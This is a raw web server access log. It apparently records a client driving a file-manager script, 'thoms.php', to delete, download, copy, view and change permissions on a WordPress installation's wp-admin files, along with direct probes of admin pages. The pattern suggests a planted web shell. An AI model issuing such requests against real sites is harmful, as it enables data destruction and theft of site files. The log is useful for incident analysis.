45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?chmod=load-scripts.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11509 "http://163.245.207.76:443/thoms.php?chmod=load-scripts.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?del=authorize-application.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=authorize-application.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcss&p= HTTP/1.1" 200 12298 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcss&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustom-background.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcustom-background.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?del=plugin-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=plugin-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?dl=index.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=index.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?dl=plugin-install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=plugin-install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:37 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpost.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fpost.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?del=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28821 "http://163.245.207.76:443/thoms.php?del=edit-link-form.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=user-edit.php HTTP/1.1" 200 24952 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=user-edit.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?chmod=maint&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11513 "http://163.245.207.76:443/thoms.php?chmod=maint&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?dl=post.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=post.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11461 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fadmin-ajax.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcomment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11460 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fcomment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-general.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-general.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?dl=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=ms-delete-site.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /big-wife.com.tw/wp-admin/post-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /big-wife.com.tw/wp-admin/update-core.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=font-library.php HTTP/1.1" 200 12663 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=font-library.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:38 -0400] "GET /thoms.php?dl=admin.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28883 "http://163.245.207.76:443/thoms.php?dl=admin.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-connectors.php HTTP/1.1" 200 12681 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=options-connectors.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?del=moderation.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=moderation.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /big-wife.com.tw/wp-admin/js/ HTTP/1.1" 200 3711 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?dl=options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftheme-editor.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Ftheme-editor.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /big-wife.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-parse-opml.php HTTP/1.1" 200 13049 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=link-parse-opml.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?del=index.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=index.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?dl=revision.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?dl=revision.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?chmod=customize.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=customize.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /big-wife.com.tw/wp-admin/admin-footer.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?chmod=upload.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=upload.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:39 -0400] "GET /thoms.php?del=install-helper.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14381 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?chmod=credits.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=credits.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /big-wife.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?chmod=edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11518 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-privacy.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Foptions-privacy.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /big-wife.com.tw/wp-admin/user-new.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?del=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=privacy-policy-guide.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /big-wife.com.tw/wp-admin/export.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-tag-form.php HTTP/1.1" 200 15342 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=edit-tag-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?chmod=users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fmaint HTTP/1.1" 200 12676 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fmaint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:40 -0400] "GET /thoms.php?del=ms-themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=ms-themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-delete-site.php HTTP/1.1" 200 14056 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=ms-delete-site.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fthemes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fthemes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?del=install.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?del=install.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fnetwork HTTP/1.1" 200 17363 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin%2Fnetwork" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /big-wife.com.tw/wp-admin/my-sites.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?dl=ms-users.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=ms-users.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&settings=1 HTTP/1.1" 200 11927 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?dl=user-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28859 "http://163.245.207.76:443/thoms.php?dl=user-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmenu-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fmenu-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=moderation.php HTTP/1.1" 200 12084 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=moderation.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?chmod=ms-options.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11520 "http://163.245.207.76:443/thoms.php?chmod=ms-options.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:41 -0400] "GET /thoms.php?dl=comment.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=comment.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?del=upgrade.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28850 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?del=contribute.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?del=contribute.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?del=custom-header.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?del=custom-header.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?dl=options-reading.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28860 "http://163.245.207.76:443/thoms.php?dl=options-reading.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /big-wife.com.tw/wp-admin/load-scripts.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?chmod=user-edit.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11522 "http://163.245.207.76:443/thoms.php?chmod=user-edit.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?chmod=index.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11519 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /big-wife.com.tw/wp-admin/edit.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?chmod=freedoms.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11521 "http://163.245.207.76:443/thoms.php?chmod=freedoms.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?del=media.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 28782 "http://163.245.207.76:443/thoms.php?del=media.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /thoms.php?p=big-wife.com.tw%2Fwp-admin&view=load-styles.php HTTP/1.1" 200 13345 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw%2Fwp-admin&view=load-styles.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:42 -0400] "GET /big-wife.com.tw/wp-admin/ms-users.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-themes.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11469 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fms-themes.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:21:43 -0400] "GET /thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsetup-config.php&p=big-wife.com.tw%2Fwp-admin HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=big-wife.com.tw%2Fwp-admin%2Fsetup-config.php&p=big-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
